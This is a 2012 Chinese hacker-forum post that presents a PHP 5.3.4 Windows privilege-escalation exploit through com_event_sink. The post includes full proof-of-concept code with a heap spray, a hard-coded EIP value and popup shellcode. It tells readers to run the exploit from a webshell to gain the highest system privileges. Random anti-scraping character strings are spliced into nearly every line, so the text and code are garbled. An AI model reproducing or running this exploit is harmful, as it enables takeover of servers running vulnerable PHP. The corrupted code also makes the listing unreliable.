找回密码
 立即注册
查看: 2599|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
" V4 n: O8 ?% F, R) q- d4 G; g- p0 V0 X( A' a
测试方法如下:cmd /c x:\php\php.exe x:\test.php
3 U/ J1 q' B8 @# i: e+ [/ {7 D* [' ~4 ~( q9 h( x7 H- D6 ~
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
1 Q+ G: X1 r" A这里是两个测试的截图:
* ?( J8 ~. s4 V1 a7 {( d# |
2 ]! C/ K* L1 Y; q. w0 [$ J! ^" b8 Z; h
8 E% ^( @$ |4 c% \
: u; e5 ^' Z/ M/ S5 ^
  t6 h7 i# z8 I4 T6 ^8 x
成功利用此漏洞的攻击者将获得系统的最高权限
0 m  l" J1 b, Y' Q0 L0 E) j& [
1 b4 @6 r% l8 y9 N3 t
$ L+ `9 |3 v: y. x! X
' u2 |* L  H; a; T9 ^
+ V" h; n; B" J
9 s0 B; F8 h+ g$ e关于漏洞分析稍后附上。一下是PoC代码:
: S5 |: \  ~- |+ p. u
/ D7 l$ g& d  ^7 B$ j<?php
# u" t2 X  B+ ^- Q& X/ d) \//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞& u: ]0 u0 g# A/ Z
//$eip ="\x44\x43\x42\x41";% \) |' v! q8 I5 @  {
$eip= "\x4b\xe8\x57\x78";2 i7 b9 K0 |0 D9 X& L& c2 d
$eax ="\x80\x01\x8d\x04";
. J9 p. h. u2 j# |( S$deodrant="";
6 \8 B5 _- T- e5 T( W$axespray = str_repeat($eip.$eax,0x80);6 J; }/ j; }. E
//048d0190
3 t' \0 v$ W' o" g/ |8 b8 Xecho strlen($axespray);
: s6 ?- t, O7 ~3 Q$ W5 Vecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
4 w" c% ?, E( o& F( [echo "Silic Group Hacker Army - BlackBap.Org";
$ k& B  G. w1 A! Q3 h  F* p' @0 U//19200 ==4B32 4b00
& n$ f! ~+ a9 {; w6 z' lfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
7 J4 S$ W7 P/ j, U. a7 a$terminate = "T";
$ d  Q/ V3 v; w- l" `0 j1 F$u[] =$deodrant;4 Q7 S8 K0 I" A
$r[] =$deodrant.$terminate;
9 z. i8 L3 g: W- R* ^* }; q2 s$a[] =$deodrant.$terminate;- X* S4 n; r* S/ x/ W, e' O
$s[] =$deodrant.$terminate;- ~/ h. o4 P+ C7 w6 X3 [! E0 }
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
5 s7 ?: Q; m: B. @2 l* x0 d: @$vVar = new VARIANT(0x048d0000+180);
3 s3 @3 \! C% B$ E1 h8 X& ?5 b' t//弹窗代码(Shellcode)
+ B* f% g$ t, D5 c9 O$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
; y: B+ ^! s: H& v; a: S3 L4 o$var2 = new VARIANT(0x41414242);
* H( X; o+ d& n7 p0 Ncom_event_sink($vVar,$var2,$buffer);
( [1 N- A& |' a6 F- B( c9 p7 c?>
% E3 p3 u; t& O$ A

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表